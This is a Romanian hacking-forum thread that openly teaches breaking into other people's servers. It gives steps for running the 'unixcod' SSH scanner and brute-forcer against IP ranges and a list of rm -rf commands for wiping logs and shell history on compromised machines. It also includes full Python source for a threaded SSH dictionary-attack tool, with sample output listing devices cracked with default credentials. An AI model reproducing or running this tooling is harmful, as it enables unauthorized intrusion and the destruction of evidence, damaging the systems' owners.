Search the Community

Toti cauta sa sparga rooturi sau alte servici de care pot profita in mediul online..Un exemplu de "munca" ar fi: De ce avem nevoie: -1- bucata scanner ssh -2- bucata brute force ssh -3- 2 in 1 .... Avem nevoie de scannerul: unixcod Descarcam scannerul:2shared - download unixcod.tar.gz PS : tool-ul folosit este unul destul de comod care se descurca destul de bine , dar totusi , daca vrei sa furi ceva bun ai nevoie de ceva pe masura. Deschidem consola.. Folosim comanda de extragere: sudo tar -zxvf <sursa fisier> Fisierul este extras..acum frumos selectam din consola calea catre folder: cd <sursa fisier> Acum ca sa pornim scannerul , in folderul sursa , dam comanda: ./unix ip.ip Unde ip sunt primele 2 rangeuri dintr-un ip , de exemplu din ip-ul 100.111.122.133 luam doar 100.111. EXEMPLU: Start scan: user@user-desktop:~/unixcod$ ./unix 70.70 [+][+][+][+][+] UnixCoD Atack Scanner [+][+][+][+][+] [+] SSH Brute force scanner : user & password [+] [+] Undernet Channel : #UnixCoD [+] [+][+][+][+][+][+][+] ver 0x10 [+][+][+][+][+][+][+] [+] Scanam: 70.70.4.* (total: 2) (1.6% done) Scan finish: [+] Find ip a terminat in 530 de secunde. [Am gasit 66 ip`uri] [+] Incepe partea cea mai misto [+] Doar 66 de servere. Exista un inceput pt. toate ! [=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=] [+] Incepem sa vedem cate server putem sparge [+] UnixCoD Atack 2005 ver 0x10 [ Made By : Ghost Kilah ] [+] UnixCoD Scanner a terminat de scanat ! Cand acceseri un root/server web e bine sa iti stergi logurile , in masura permisiunilor furate: Avem comenzile urmatoare ______________________________________________ | | +LOG REMOVE SHELL COMAND+ | | |___|____________________________________|___| | + | rm -rf unixcod | + | | + | rm -rf /tmp/logs | + | | + | rm -rf $HISTFILE | + | | + | rm -rf /root/.ksh_history | + | | + | rm -rf /root/.bash_history | + | | + | rm -rf /root/.ksh_history | + | | + | rm -rf /root/.bash_logout | + | | + | rm -rf /usr/local/apache/logs | + | | + | rm -rf /usr/local/apache/log | + | | + | rm -rf /var/apache/logs | + | | + | rm -rf /var/apache/log | + | | + | rm -rf /var/run/utmp | + | | + | rm -rf /var/logs | + | | + | rm -rf /var/log | + | | + | rm -rf /var/adm | + | | + | rm -rf /etc/wtmp | + | | + | rm -rf /etc/utmp | + | | + | | + | | + |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| + | | + | | + | |_+_|____________________________________|_+_| Alte completari o sa aduc in masura intrebarilor postate.

Urmatorul script este un dictionary attack tool pentru SSH scris in Python. import paramiko, sys, Queue, threading class SSHBrute(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: ip,user,passwd = self.queue.get() self.kraken(ip,user,passwd) self.queue.task_done() def kraken(self,ip,user,passwd): try: if ip in cracked: return False if '%user%' in str(passwd): passwd = passwd.split("%")[0] + user + passwd.split("%")[2] if '%User%' in str(passwd): pwd = user + passwd.split("%")[2] passwd = passwd.split("%")[0]+pwd.title() if str(passwd) == '%null%': passwd = '' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=passwd, timeout=35) raw.write(ip+' '+user+' '+passwd+'\n') raw.flush() chan = ssh.get_transport().open_session() chan.settimeout(35) chan.exec_command('uname -a') data = chan.recv(1024) if len(data) == 0: nologs.write(ip+' '+user+' '+passwd+'\n') nologs.flush() return False val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n') val.flush() cracked.append(ip) chan.close() ssh.close() return True except Exception, e: if 'uthent' in str(e): if dbg == 'bad': bad.write(ip+'\n') bad.flush() #print '\r[+]Tried '+ip+' '+user+' '+passwd+' ' ssh.close() return False #print ip, str(e) ssh.close() return False def brutemain(): if len(sys.argv) < 2: print """ SSH Brute Force Tool Author: @Elohim [RST] Usage: bruter ThreadNumber IpFile UserFile PassFile FilterSwitch* *The filter Switch Takes Either the word "bad" or "no". If you supply the word bad, it filters in bad.txt only the ips which indeed support ssh AUTH and password didn't work""" return False ThreadNR = int(sys.argv[1]) queue = Queue.Queue(maxsize=20000) try: i = 0 for i in range(ThreadNR): t = SSHBrute(queue) t.daemon = True t.start() i += 1 except Exception, e: print 'Cant start more than',i,'Threads!' global bad global val global nologs global cracked global raw cracked = [] bad = open('bad.txt','w') val = open('valid.txt','a') nologs = open('nologins.txt','a') raw = open('raw.txt','a') with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines() with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines() with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines() global dbg dbg = str(sys.argv[5]) try: for password in passwords: for user in users: for ip in ips: queue.put((ip,user,password)) except: pass queue.join() if __name__ == "__main__": brutemain() Am dat un mic exemplu despre usage daca il porniti fara argumente. Va sfatuiesc sa trecei odata prin ip-uri cu un singur user si o parola, si argumentul bad, pentru a ramane doar cu ip-urile care accepta logarea prin SSH. Apoi va luati ip-urile din bad.txt si le folositi doar pe ele. Face 3 fisiere: raw.txt nologin.txt si valid.txt In raw.txt o sa fie puse toate, si cele care au *sh disabled, si cele care se logheaza normal. In nologin.txt o sa fie puse doar cele care suporta un ssh transport,sau nu au niciun fel de shell activ, iar in valid.txt cele care au shell activ, si li se va adauga si banner-ul ( uname -a ) exemplu de valid.txt: 68.170.**.24 ubnt ubnt|Linux Ubiquiti 2.6.32.54 #1 Thu Aug 16 13:41:25 EEST 2012 mips unknown 68.117.**.194 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown 68.13.**.45 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown 68.170.**.64 ubnt ubnt|Linux AirRouter 2.6.32.54 #1 Fri Mar 8 10:15:49 EET 2013 mips unknown Daca vreti sa fie verbose, si sa vedeti ce se intampla, scoate comment-urile de la print . Va trebuie paramiko, dar cine chiar vrea sa il foloseasca o sa se descurce si singur. Acesta e unu din motivele pentru care nu l-am compilat nici pt win nici pt linux. Astept pareri si posibile imbunatatiri. Nu mai dati bani pe asa zisele "scannere" sau "arhive" private.